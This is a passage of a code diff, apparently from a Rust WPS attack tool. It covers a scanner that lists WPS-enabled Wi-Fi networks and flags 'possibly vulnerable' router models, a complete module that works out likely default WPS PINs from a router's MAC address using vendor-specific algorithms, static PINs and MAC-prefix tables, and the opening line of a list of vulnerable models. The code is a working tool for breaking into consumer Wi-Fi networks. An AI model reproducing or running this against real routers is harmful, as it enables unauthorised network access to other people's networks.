|
||||||
|
model_number: String::new(),
|
||||||
|
device_name: String::new(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if networks.is_empty() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
let cur = networks.last_mut().unwrap();
|
||||||
|
|
||||||
|
if let Some(cap) = re_ssid.captures(line_trimmed) {
|
||||||
|
cur.essid = Self::unescape_str(cap.get(1).unwrap().as_str());
|
||||||
|
} else if let Some(cap) = re_signal.captures(line_trimmed) {
|
||||||
|
if let Ok(val) = cap.get(1).unwrap().as_str().parse::<f64>() {
|
||||||
|
cur.level = val as i32;
|
||||||
|
}
|
||||||
|
} else if let Some(cap) = re_cap.captures(line_trimmed) {
|
||||||
|
let cap_str = cap.get(2).unwrap().as_str();
|
||||||
|
if cap_str.contains("Privacy") {
|
||||||
|
cur.security_type = "WEP".to_string();
|
||||||
|
} else {
|
||||||
|
cur.security_type = "Open".to_string();
|
||||||
|
}
|
||||||
|
} else if let Some(_) = re_rsn.captures(line_trimmed) {
|
||||||
|
if cur.security_type == "WEP" {
|
||||||
|
cur.security_type = "WPA2".to_string();
|
||||||
|
} else if cur.security_type == "WPA" {
|
||||||
|
cur.security_type = "WPA/WPA2".to_string();
|
||||||
|
}
|
||||||
|
} else if let Some(_) = re_wpa.captures(line_trimmed) {
|
||||||
|
if cur.security_type == "WEP" {
|
||||||
|
cur.security_type = "WPA".to_string();
|
||||||
|
} else if cur.security_type == "WPA2" {
|
||||||
|
cur.security_type = "WPA/WPA2".to_string();
|
||||||
|
}
|
||||||
|
} else if let Some(_) = re_wps.captures(line_trimmed) {
|
||||||
|
cur.wps = true;
|
||||||
|
} else if let Some(cap) = re_wps_lock.captures(line_trimmed) {
|
||||||
|
let hex_val = cap.get(1).unwrap().as_str();
|
||||||
|
if let Ok(flag) = u32::from_str_radix(hex_val.trim_start_matches("0x"), 16) {
|
||||||
|
if flag != 0 {
|
||||||
|
cur.wps_locked = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if let Some(cap) = re_model.captures(line_trimmed) {
|
||||||
|
cur.model = Self::unescape_str(cap.get(1).unwrap().as_str());
|
||||||
|
} else if let Some(cap) = re_model_num.captures(line_trimmed) {
|
||||||
|
cur.model_number = Self::unescape_str(cap.get(1).unwrap().as_str());
|
||||||
|
} else if let Some(cap) = re_dev_name.captures(line_trimmed) {
|
||||||
|
cur.device_name = Self::unescape_str(cap.get(1).unwrap().as_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Filter non-WPS networks
|
||||||
|
let mut wps_networks: Vec<WiFiNetwork> =
|
||||||
|
networks.into_iter().filter(|n| n.wps).collect();
|
||||||
|
if wps_networks.is_empty() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Sort by signal level descending
|
||||||
|
wps_networks.sort_by(|a, b| b.level.cmp(&a.level));
|
||||||
|
|
||||||
|
if reverse_scan {
|
||||||
|
wps_networks.reverse();
|
||||||
|
}
|
||||||
|
|
||||||
|
if !self.vuln_list.is_empty() {
|
||||||
|
println!(
|
||||||
|
"Network marks: {} | {} | {}",
|
||||||
|
"Possibly vulnerable".green(),
|
||||||
|
"WPS locked".red(),
|
||||||
|
"Already stored".yellow()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
println!("Networks list:");
|
||||||
|
println!(
|
||||||
|
"{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}",
|
||||||
|
"#", "BSSID", "ESSID", "Sec.", "PWR", "WSC device name", "WSC model"
|
||||||
|
);
|
||||||
|
|
||||||
|
for (i, net) in wps_networks.iter().enumerate() {
|
||||||
|
let number_str = format!("{})", i + 1);
|
||||||
|
let model_full = format!("{} {}", net.model, net.model_number);
|
||||||
|
let essid_display = if net.essid.is_empty() {
|
||||||
|
"HIDDEN".to_string()
|
||||||
|
} else {
|
||||||
|
net.essid.clone()
|
||||||
|
};
|
||||||
|
|
||||||
|
let proc_num = Self::truncate_str(&number_str, 4);
|
||||||
|
let proc_bssid = Self::truncate_str(&net.bssid, 18);
|
||||||
|
let proc_essid = Self::truncate_str(&essid_display, 25);
|
||||||
|
let proc_sec = Self::truncate_str(&net.security_type, 8);
|
||||||
|
let proc_pwr = Self::truncate_str(&net.level.to_string(), 4);
|
||||||
|
let proc_dev = Self::truncate_str(&net.device_name, 27);
|
||||||
|
let proc_model = model_full.clone();
|
||||||
|
|
||||||
|
let line = format!(
|
||||||
|
"{} {} {} {} {} {} {}",
|
||||||
|
proc_num, proc_bssid, proc_essid, proc_sec, proc_pwr, proc_dev, proc_model
|
||||||
|
);
|
||||||
|
|
||||||
|
let is_stored = self
|
||||||
|
.stored
|
||||||
|
.iter()
|
||||||
|
.any(|(b, e)| b == &net.bssid && e == &essid_display);
|
||||||
|
|
||||||
|
if is_stored {
|
||||||
|
println!("{}", line.yellow());
|
||||||
|
} else if net.wps_locked {
|
||||||
|
println!("{}", line.red());
|
||||||
|
} else if !self.vuln_list.is_empty() && self.vuln_list.contains(&model_full) {
|
||||||
|
println!("{}", line.green());
|
||||||
|
} else {
|
||||||
|
println!("{}", line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Some(wps_networks)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn prompt_network(&self, reverse_scan: bool) -> Option<String> {
|
||||||
|
loop {
|
||||||
|
let networks = self.iw_scanner(reverse_scan);
|
||||||
|
let networks = match networks {
|
||||||
|
Some(nets) => nets,
|
||||||
|
None => {
|
||||||
|
println!("[-] No WPS networks found.");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
loop {
|
||||||
|
print!("Select target (press Enter to refresh): ");
|
||||||
|
io::stdout().flush().ok();
|
||||||
|
let mut input = String::new();
|
||||||
|
if io::stdin().read_line(&mut input).is_err() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let trimmed = input.trim();
|
||||||
|
if trimmed.is_empty() || trimmed.eq_ignore_ascii_case("r") || trimmed == "0" {
|
||||||
|
break; // Refresh scan
|
||||||
|
}
|
||||||
|
|
||||||
|
if let Ok(num) = trimmed.parse::<usize>() {
|
||||||
|
if num >= 1 && num <= networks.len() {
|
||||||
|
return Some(networks[num - 1].bssid.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("Invalid number");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn truncate_str(s: &str, target_width: usize) -> String {
|
||||||
|
let width = UnicodeWidthStr::width(s);
|
||||||
|
if width <= target_width {
|
||||||
|
let pad = target_width - width;
|
||||||
|
return format!("{}{}", s, " ".repeat(pad));
|
||||||
|
}
|
||||||
|
|
||||||
|
let postfix = "…";
|
||||||
|
let postfix_width = UnicodeWidthStr::width(postfix);
|
||||||
|
let max_allowed = if target_width > postfix_width {
|
||||||
|
target_width - postfix_width
|
||||||
|
} else {
|
||||||
|
0
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut current_width = 0;
|
||||||
|
let mut truncated = String::new();
|
||||||
|
for c in s.chars() {
|
||||||
|
let ch_w = UnicodeWidthStr::width(c.to_string().as_str());
|
||||||
|
if current_width + ch_w > max_allowed {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
truncated.push(c);
|
||||||
|
current_width += ch_w;
|
||||||
|
}
|
||||||
|
|
||||||
|
truncated.push_str(postfix);
|
||||||
|
let final_w = UnicodeWidthStr::width(truncated.as_str());
|
||||||
|
if final_w < target_width {
|
||||||
|
format!("{}{}", truncated, " ".repeat(target_width - final_w))
|
||||||
|
} else {
|
||||||
|
truncated
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
343
src/wpspin.rs
Normal file
343
src/wpspin.rs
Normal file
|
|
@ -0,0 +1,343 @@
|
||||||
|
use crate::mac::NetworkAddress;
|
||||||
|
use std::collections::HashMap;
|
||||||
|
use std::io::{self, Write};
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
|
pub enum AlgoMode {
|
||||||
|
Mac,
|
||||||
|
Empty,
|
||||||
|
Static,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct AlgoInfo {
|
||||||
|
pub id: &'static str,
|
||||||
|
pub name: &'static str,
|
||||||
|
pub mode: AlgoMode,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[allow(dead_code)]
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct PinItem {
|
||||||
|
pub id: String,
|
||||||
|
pub name: String,
|
||||||
|
pub pin: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct WPSpin {
|
||||||
|
algos: HashMap<&'static str, AlgoInfo>,
|
||||||
|
suggestions: HashMap<&'static str, Vec<&'static str>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl WPSpin {
|
||||||
|
pub fn new() -> Self {
|
||||||
|
let mut algos = HashMap::new();
|
||||||
|
let list = vec![
|
||||||
|
AlgoInfo { id: "pin24", name: "24-bit PIN", mode: AlgoMode::Mac },
|
||||||
|
AlgoInfo { id: "pin28", name: "28-bit PIN", mode: AlgoMode::Mac },
|
||||||
|
AlgoInfo { id: "pin32", name: "32-bit PIN", mode: AlgoMode::Mac },
|
||||||
|
AlgoInfo { id: "pinDLink", name: "D-Link PIN", mode: AlgoMode::Mac },
|
||||||
|
AlgoInfo { id: "pinDLink1", name: "D-Link PIN +1", mode: AlgoMode::Mac },
|
||||||
|
AlgoInfo { id: "pinASUS", name: "ASUS PIN", mode: AlgoMode::Mac },
|
||||||
|
AlgoInfo { id: "pinAirocon", name: "Airocon Realtek", mode: AlgoMode::Mac },
|
||||||
|
// Static / empty pin algos
|
||||||
|
AlgoInfo { id: "pinEmpty", name: "Empty PIN", mode: AlgoMode::Empty },
|
||||||
|
AlgoInfo { id: "pinCisco", name: "Cisco", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinBrcm1", name: "Broadcom 1", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinBrcm2", name: "Broadcom 2", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinBrcm3", name: "Broadcom 3", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinBrcm4", name: "Broadcom 4", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinBrcm5", name: "Broadcom 5", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinBrcm6", name: "Broadcom 6", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinAirc1", name: "Airocon 1", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinAirc2", name: "Airocon 2", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinDSL2740R", name: "DSL-2740R", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinRealtek1", name: "Realtek 1", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinRealtek2", name: "Realtek 2", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinRealtek3", name: "Realtek 3", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinUpvel", name: "Upvel", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinUR814AC", name: "UR-814AC", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinUR825AC", name: "UR-825AC", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinOnlime", name: "Onlime", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinEdimax", name: "Edimax", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinThomson", name: "Thomson", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinHG532x", name: "HG532x", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinH108L", name: "H108L", mode: AlgoMode::Static },
|
||||||
|
AlgoInfo { id: "pinONO", name: "CBN ONO", mode: AlgoMode::Static },
|
||||||
|
];
|
||||||
|
for item in list {
|
||||||
|
algos.insert(item.id, item);
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut suggestions: HashMap<&'static str, Vec<&'static str>> = HashMap::new();
|
||||||
|
suggestions.insert("pin24", vec![
|
||||||
|
"04BF6D", "0E5D4E", "107BEF", "14A9E3", "28285D", "2A285D", "32B2DC", "381766", "404A03", "4E5D4E",
|
||||||
|
"5067F0", "5CF4AB", "6A285D", "8E5D4E", "AA285D", "B0B2DC", "C86C87", "CC5D4E", "CE5D4E", "EA285D",
|
||||||
|
"E243F6", "EC43F6", "EE43F6", "F2B2DC", "FCF528", "FEF528", "4C9EFF", "0014D1", "D8EB97", "1C7EE5",
|
||||||
|
"84C9B2", "FC7516", "14D64D", "9094E4", "BCF685", "C4A81D", "00664B", "087A4C", "14B968", "2008ED",
|
||||||
|
"346BD3", "4CEDDE", "786A89", "88E3AB", "D46E5C", "E8CD2D", "EC233D", "ECCB30", "F49FF3", "20CF30",
|
||||||
|
"90E6BA", "E0CB4E", "D4BF7F4", "F8C091", "001CDF", "002275", "08863B", "00B00C", "081075", "C83A35",
|
||||||
|
"0022F7", "001F1F", "00265B", "68B6CF", "788DF7", "BC1401", "202BC1", "308730", "5C4CA9", "62233D",
|
||||||
|
"623CE4", "623DFF", "6253D4", "62559C", "626BD3", "627D5E", "6296BF", "62A8E4", "62B686", "62C06F",
|
||||||
|
"62C61F", "62C714", "62CBA8", "62CDBE", "62E87B", "6416F0", "6A1D67", "6A233D", "6A3DFF", "6A53D4",
|
||||||
|
"6A559C", "6A6BD3", "6A96BF", "6A7D5E", "6AA8E4", "6AC06F", "6AC61F", "6AC714", "6ACBA8", "6ACDBE",
|
||||||
|
"6AD15E", "6AD167", "721D67", "72233D", "723CE4", "723DFF", "7253D4", "72559C", "726BD3", "727D5E",
|
||||||
|
"7296BF", "72A8E4", "72C06F", "72C61F", "72C714", "72CBA8", "72CDBE", "72D15E", "72E87B", "0026CE",
|
||||||
|
"9897D1", "E04136", "B246FC", "E24136", "00E020", "5CA39D", "D86CE9", "DC7144", "801F02", "E47CF9",
|
||||||
|
"000CF6", "00A026", "A0F3C1", "647002", "B0487A", "F81A67", "F8D111", "34BA9A", "B4944E",
|
||||||
|
]);
|
||||||
|
suggestions.insert("pin28", vec!["200BC7", "4846FB", "D46AA8", "F84ABF"]);
|
||||||
|
suggestions.insert("pin32", vec![
|
||||||
|
"000726", "D8FEE3", "FC8B97", "1062EB", "1C5F2B", "48EE0C", "802689", "908D78", "E8CC18", "2CAB25",
|
||||||
|
"10BF48", "14DAE9", "3085A9", "50465D", "5404A6", "C86000", "F46D04", "3085A9", "801F02",
|
||||||
|
]);
|
||||||
|
suggestions.insert("pinDLink", vec![
|
||||||
|
"14D64D", "1C7EE5", "28107B", "84C9B2", "A0AB1B", "B8A386", "C0A0BB", "CCB255", "FC7516", "0014D1", "D8EB97",
|
||||||
|
]);
|
||||||
|
suggestions.insert("pinDLink1", vec![
|
||||||
|
"0018E7", "00195B", "001CF0", "001E58", "002191", "0022B0", "002401", "00265A", "14D64D", "1C7EE5",
|
||||||
|
"340804", "5CD998", "84C9B2", "B8A386", "C8BE19", "C8D3A3", "CCB255", "0014D1",
|
||||||
|
]);
|
||||||
|
suggestions.insert("pinASUS", vec![
|
||||||
|
"049226", "04D9F5", "08606E", "0862669", "107B44", "10BF48", "10C37B", "14DDA9", "1C872C", "1CB72C",
|
||||||
|
"2C56DC", "2CFDA1", "305A3A", "382C4A", "38D547", "40167E", "50465D", "54A050", "6045CB", "60A44C",
|
||||||
|
"704D7B", "74D02B", "7824AF", "88D7F6", "9C5C8E", "AC220B", "AC9E17", "B06EBF", "BCEE7B", "C860007",
|
||||||
|
"D017C2", "D850E6", "E03F49", "F0795978", "F832E4", "00072624", "0008A1D3", "00177C", "001EA6", "00304FB",
|
||||||
|
"00E04C0", "048D38", "081077", "081078", "081079", "083E5D", "10FEED3C", "181E78", "1C4419", "2420C7",
|
||||||
|
"247F20", "2CAB25", "3085A98C", "3C1E04", "40F201", "44E9DD", "48EE0C", "5464D9", "54B80A", "587BE906",
|
||||||
|
"60D1AA21", "64517E", "64D954", "6C198F", "6C7220", "6CFDB9", "78D99FD", "7C2664", "803F5DF6", "84A423",
|
||||||
|
"88A6C6", "8C10D4", "8C882B00", "904D4A", "907282", "90F65290", "94FBB2", "A01B29", "A0F3C1E", "A8F7E00",
|
||||||
|
"ACA213", "B85510", "B8EE0E", "BC3400", "BC9680", "C891F9", "D00ED90", "D084B0", "D8FEE3", "E4BEED",
|
||||||
|
"E894F6F6", "EC1A5971", "EC4C4D", "F42853", "F43E61", "F46BEF", "F8AB05", "FC8B97", "7062B8", "78542E",
|
||||||
|
"C0A0BB8C", "C412F5", "C4A81D", "E8CC18", "EC2280", "F8E903F4",
|
||||||
|
]);
|
||||||
|
suggestions.insert("pinAirocon", vec![
|
||||||
|
"0007262F", "000B2B4A", "000EF4E7", "001333B", "00177C", "001AEF", "00E04BB3", "02101801", "0810734",
|
||||||
|
"08107710", "1013EE0", "2CAB25C7", "788C54", "803F5DF6", "94FBB2", "BC9680", "F43E61", "FC8B97",
|
||||||
|
]);
|
||||||
|
suggestions.insert("pinEmpty", vec![
|
||||||
|
"E46F13", "EC2280", "58D56E", "1062EB", "10BEF5", "1C5F2B", "802689", "A0AB1B", "74DADA", "9CD643",
|
||||||
|
"68A0F6", "0C96BF", "20F3A3", "ACE215", "C8D15E", "000E8F", "D42122", "3C9872", "788102", "7894B4",
|
||||||
|
"D460E3", "E06066", "004A77", "2C957F", "64136C", "74A78E", "88D274", "702E22", "74B57E", "789682",
|
||||||
|
"7C3953", "8C68C8", "D476EA", "344DEA", "38D82F", "54BE53", "709F2D", "94A7B7", "981333", "CAA366", "D0608C",
|
||||||
|
]);
|
||||||
|
suggestions.insert("pinCisco", vec!["001A2B", "00248C", "002618", "344DEB", "7071BC", "E06995", "E0CB4E", "7054F5"]);
|
||||||
|
suggestions.insert("pinBrcm1", vec!["ACF1DF", "BCF685", "C8D3A3", "988B5D", "001AA9", "14144B", "EC6264"]);
|
||||||
|
suggestions.insert("pinBrcm2", vec!["14D64D", "1C7EE5", "28107B", "84C9B2", "B8A386", "BCF685", "C8BE19"]);
|
||||||
|
suggestions.insert("pinBrcm3", vec!["14D64D", "1C7EE5", "28107B", "B8A386", "BCF685", "C8BE19", "7C034C"]);
|
||||||
|
suggestions.insert("pinBrcm4", vec!["14D64D", "1C7EE5", "28107B", "84C9B2", "B8A386", "BCF685", "C8BE19", "C8D3A3", "CCB255", "FC7516", "204E7F", "4C17EB", "18622C", "7C03D8", "D86CE9"]);
|
||||||
|
suggestions.insert("pinBrcm5", vec!["14D64D", "1C7EE5", "28107B", "84C9B2", "B8A386", "BCF685", "C8BE19", "C8D3A3", "CCB255", "FC7516", "204E7F", "4C17EB", "18622C", "7C03D8", "D86CE9"]);
|
||||||
|
suggestions.insert("pinBrcm6", vec!["14D64D", "1C7EE5", "28107B", "84C9B2", "B8A386", "BCF685", "C8BE19", "C8D3A3", "CCB255", "FC7516", "204E7F", "4C17EB", "18622C", "7C03D8", "D86CE9"]);
|
||||||
|
suggestions.insert("pinAirc1", vec!["181E78", "40F201", "44E9DD", "D084B0"]);
|
||||||
|
suggestions.insert("pinAirc2", vec!["84A423", "8C10D4", "88A6C6"]);
|
||||||
|
suggestions.insert("pinDSL2740R", vec!["00265A", "1CBDB9", "340804", "5CD998", "84C9B2", "FC7516"]);
|
||||||
|
suggestions.insert("pinRealtek1", vec!["0014D1", "000C42", "000EE8"]);
|
||||||
|
suggestions.insert("pinRealtek2", vec!["007263", "E4BEED"]);
|
||||||
|
suggestions.insert("pinRealtek3", vec!["08C6B3"]);
|
||||||
|
suggestions.insert("pinUpvel", vec!["784476", "D4BF7F0", "F8C091"]);
|
||||||
|
suggestions.insert("pinUR814AC", vec!["D4BF7F60"]);
|
||||||
|
suggestions.insert("pinUR825AC", vec!["D4BF7F5"]);
|
||||||
|
suggestions.insert("pinOnlime", vec!["D4BF7F", "F8C091", "144D67", "784476", "0014D1"]);
|
||||||
|
suggestions.insert("pinEdimax", vec!["801F02", "00E04C"]);
|
||||||
|
suggestions.insert("pinThomson", vec!["002624", "4432C8", "88F7C7", "CC03FA"]);
|
||||||
|
suggestions.insert("pinHG532x", vec!["00664B", "086361", "087A4C", "0C96BF", "14B968", "2008ED", "2469A5", "346BD3", "786A89", "88E3AB", "9CC172", "ACE215", "D07AB5", "CCA223", "E8CD2D", "F80113", "F83DFF"]);
|
||||||
|
suggestions.insert("pinH108L", vec!["4C09B4", "4CAC0A", "84742A4", "9CD24B", "B075D5", "C864C7", "DC028E", "FCC897"]);
|
||||||
|
suggestions.insert("pinONO", vec!["5C353B", "DC537C"]);
|
||||||
|
|
||||||
|
Self { algos, suggestions }
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn checksum(mut pin: u32) -> u32 {
|
||||||
|
let mut accum = 0;
|
||||||
|
while pin > 0 {
|
||||||
|
accum += 3 * (pin % 10);
|
||||||
|
pin /= 10;
|
||||||
|
accum += pin % 10;
|
||||||
|
pin /= 10;
|
||||||
|
}
|
||||||
|
(10 - (accum % 10)) % 10
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn generate(&self, algo_id: &str, mac: &NetworkAddress) -> Result<String, String> {
|
||||||
|
let _algo = self.algos.get(algo_id).ok_or("Invalid WPS pin algorithm")?;
|
||||||
|
if algo_id == "pinEmpty" {
|
||||||
|
return Ok(String::new());
|
||||||
|
}
|
||||||
|
|
||||||
|
let raw_pin: u64 = match algo_id {
|
||||||
|
"pin24" => mac.integer() & 0xFFFFFF,
|
||||||
|
"pin28" => mac.integer() & 0xFFFFFFF,
|
||||||
|
"pin32" => mac.integer() % 0x100000000,
|
||||||
|
"pinDLink" => self.pin_dlink(mac),
|
||||||
|
"pinDLink1" => {
|
||||||
|
let mut m = mac.clone();
|
||||||
|
m.set_integer(m.integer() + 1);
|
||||||
|
self.pin_dlink(&m)
|
||||||
|
}
|
||||||
|
"pinASUS" => self.pin_asus(mac),
|
||||||
|
"pinAirocon" => self.pin_airocon(mac),
|
||||||
|
"pinCisco" => 1234567,
|
||||||
|
"pinBrcm1" => 2017252,
|
||||||
|
"pinBrcm2" => 4626484,
|
||||||
|
"pinBrcm3" => 7622990,
|
||||||
|
"pinBrcm4" => 6232714,
|
||||||
|
"pinBrcm5" => 1086411,
|
||||||
|
"pinBrcm6" => 3195719,
|
||||||
|
"pinAirc1" => 3043203,
|
||||||
|
"pinAirc2" => 7141225,
|
||||||
|
"pinDSL2740R" => 6817554,
|
||||||
|
"pinRealtek1" => 9566146,
|
||||||
|
"pinRealtek2" => 9571911,
|
||||||
|
"pinRealtek3" => 4856371,
|
||||||
|
"pinUpvel" => 2085483,
|
||||||
|
"pinUR814AC" => 4397768,
|
||||||
|
"pinUR825AC" => 529417,
|
||||||
|
"pinOnlime" => 9995604,
|
||||||
|
"pinEdimax" => 3561153,
|
||||||
|
"pinThomson" => 6795814,
|
||||||
|
"pinHG532x" => 3425928,
|
||||||
|
"pinH108L" => 9422988,
|
||||||
|
"pinONO" => 9575521,
|
||||||
|
_ => return Err("Unknown WPS pin algorithm".to_string()),
|
||||||
|
};
|
||||||
|
|
||||||
|
let pin7 = (raw_pin % 10_000_000) as u32;
|
||||||
|
let csum = Self::checksum(pin7);
|
||||||
|
Ok(format!("{:07}{}", pin7, csum))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn pin_dlink(&self, mac: &NetworkAddress) -> u64 {
|
||||||
|
let nic = mac.integer() & 0xFFFFFF;
|
||||||
|
let mut pin = nic ^ 0x55AA55;
|
||||||
|
pin ^= ((pin & 0xF) << 4)
|
||||||
|
+ ((pin & 0xF) << 8)
|
||||||
|
+ ((pin & 0xF) << 12)
|
||||||
|
+ ((pin & 0xF) << 16)
|
||||||
|
+ ((pin & 0xF) << 20);
|
||||||
|
pin %= 10_000_000;
|
||||||
|
if pin < 1_000_000 {
|
||||||
|
pin += ((pin % 9) * 1_000_000) + 1_000_000;
|
||||||
|
}
|
||||||
|
pin
|
||||||
|
}
|
||||||
|
|
||||||
|
fn pin_asus(&self, mac: &NetworkAddress) -> u64 {
|
||||||
|
let mac_str = mac.string();
|
||||||
|
let bytes: Vec<u32> = mac_str
|
||||||
|
.split(':')
|
||||||
|
.map(|s| u32::from_str_radix(s, 16).unwrap_or(0))
|
||||||
|
.collect();
|
||||||
|
if bytes.len() < 6 {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
let sum_b15 = bytes[1] + bytes[2] + bytes[3] + bytes[4] + bytes[5];
|
||||||
|
let mut pin_str = String::new();
|
||||||
|
for i in 0..7 {
|
||||||
|
let denom = 10 - ((i as u32 + sum_b15) % 7);
|
||||||
|
let digit = (bytes[i % 6] + bytes[5]) % denom;
|
||||||
|
pin_str.push_str(&digit.to_string());
|
||||||
|
}
|
||||||
|
pin_str.parse::<u64>().unwrap_or(0)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn pin_airocon(&self, mac: &NetworkAddress) -> u64 {
|
||||||
|
let mac_str = mac.string();
|
||||||
|
let b: Vec<u64> = mac_str
|
||||||
|
.split(':')
|
||||||
|
.map(|s| u64::from_str_radix(s, 16).unwrap_or(0))
|
||||||
|
.collect();
|
||||||
|
if b.len() < 6 {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
((b[0] + b[1]) % 10)
|
||||||
|
+ (((b[5] + b[0]) % 10) * 10)
|
||||||
|
+ (((b[4] + b[5]) % 10) * 100)
|
||||||
|
+ (((b[3] + b[4]) % 10) * 1000)
|
||||||
|
+ (((b[2] + b[3]) % 10) * 10000)
|
||||||
|
+ (((b[1] + b[2]) % 10) * 100000)
|
||||||
|
+ (((b[0] + b[1]) % 10) * 1000000)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn suggest_algos(&self, mac: &str) -> Vec<&'static str> {
|
||||||
|
let clean_mac = mac.replace([':', '-'], "").to_uppercase();
|
||||||
|
let mut res = Vec::new();
|
||||||
|
// Preserving insertion order of algos
|
||||||
|
let algo_ids = vec![
|
||||||
|
"pin24", "pin28", "pin32", "pinDLink", "pinDLink1", "pinASUS", "pinAirocon", "pinEmpty",
|
||||||
|
"pinCisco", "pinBrcm1", "pinBrcm2", "pinBrcm3", "pinBrcm4", "pinBrcm5", "pinBrcm6",
|
||||||
|
"pinAirc1", "pinAirc2", "pinDSL2740R", "pinRealtek1", "pinRealtek2", "pinRealtek3",
|
||||||
|
"pinUpvel", "pinUR814AC", "pinUR825AC", "pinOnlime", "pinEdimax", "pinThomson",
|
||||||
|
"pinHG532x", "pinH108L", "pinONO",
|
||||||
|
];
|
||||||
|
|
||||||
|
for algo_id in algo_ids {
|
||||||
|
if let Some(masks) = self.suggestions.get(algo_id) {
|
||||||
|
if masks.iter().any(|mask| clean_mac.starts_with(mask)) {
|
||||||
|
res.push(algo_id);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
res
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_suggested(&self, mac_str: &str) -> Vec<PinItem> {
|
||||||
|
let Ok(mac) = NetworkAddress::from_str(mac_str) else {
|
||||||
|
return Vec::new();
|
||||||
|
};
|
||||||
|
let algos = self.suggest_algos(mac_str);
|
||||||
|
let mut res = Vec::new();
|
||||||
|
for id in algos {
|
||||||
|
if let Some(algo) = self.algos.get(id) {
|
||||||
|
let name = if algo.mode == AlgoMode::Static {
|
||||||
|
format!("Static PIN — {}", algo.name)
|
||||||
|
} else {
|
||||||
|
algo.name.to_string()
|
||||||
|
};
|
||||||
|
if let Ok(pin) = self.generate(id, &mac) {
|
||||||
|
res.push(PinItem {
|
||||||
|
id: id.to_string(),
|
||||||
|
name,
|
||||||
|
pin,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
res
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_likely(&self, mac_str: &str) -> Option<String> {
|
||||||
|
let list = self.get_suggested(mac_str);
|
||||||
|
list.first().map(|item| item.pin.clone())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn prompt_wpspin(&self, bssid: &str) -> Option<String> {
|
||||||
|
let pins = self.get_suggested(bssid);
|
||||||
|
if pins.len() > 1 {
|
||||||
|
println!("PINs generated for {}:", bssid);
|
||||||
|
println!("{:<3} {:<10} {:<}", "#", "PIN", "Name");
|
||||||
|
for (i, pin_item) in pins.iter().enumerate() {
|
||||||
|
let number = format!("{})", i + 1);
|
||||||
|
println!("{:<3} {:<10} {:<}", number, pin_item.pin, pin_item.name);
|
||||||
|
}
|
||||||
|
loop {
|
||||||
|
print!("Select the PIN: ");
|
||||||
|
io::stdout().flush().ok();
|
||||||
|
let mut input = String::new();
|
||||||
|
if io::stdin().read_line(&mut input).is_err() {
|
||||||
|
break None;
|
||||||
|
}
|
||||||
|
if let Ok(num) = input.trim().parse::<usize>() {
|
||||||
|
if num >= 1 && num <= pins.len() {
|
||||||
|
return Some(pins[num - 1].pin.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("Invalid number");
|
||||||
|
}
|
||||||
|
} else if pins.len() == 1 {
|
||||||
|
println!("[i] The only probable PIN is selected: {}", pins[0].name);
|
||||||
|
Some(pins[0].pin.clone())
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
164
vulnwsc.txt
Normal file
164
vulnwsc.txt
Normal file
|
|
@ -0,0 +1,164 @@
|
||||||
|
ADSL Router EV-2006-07-27
|
||||||
|
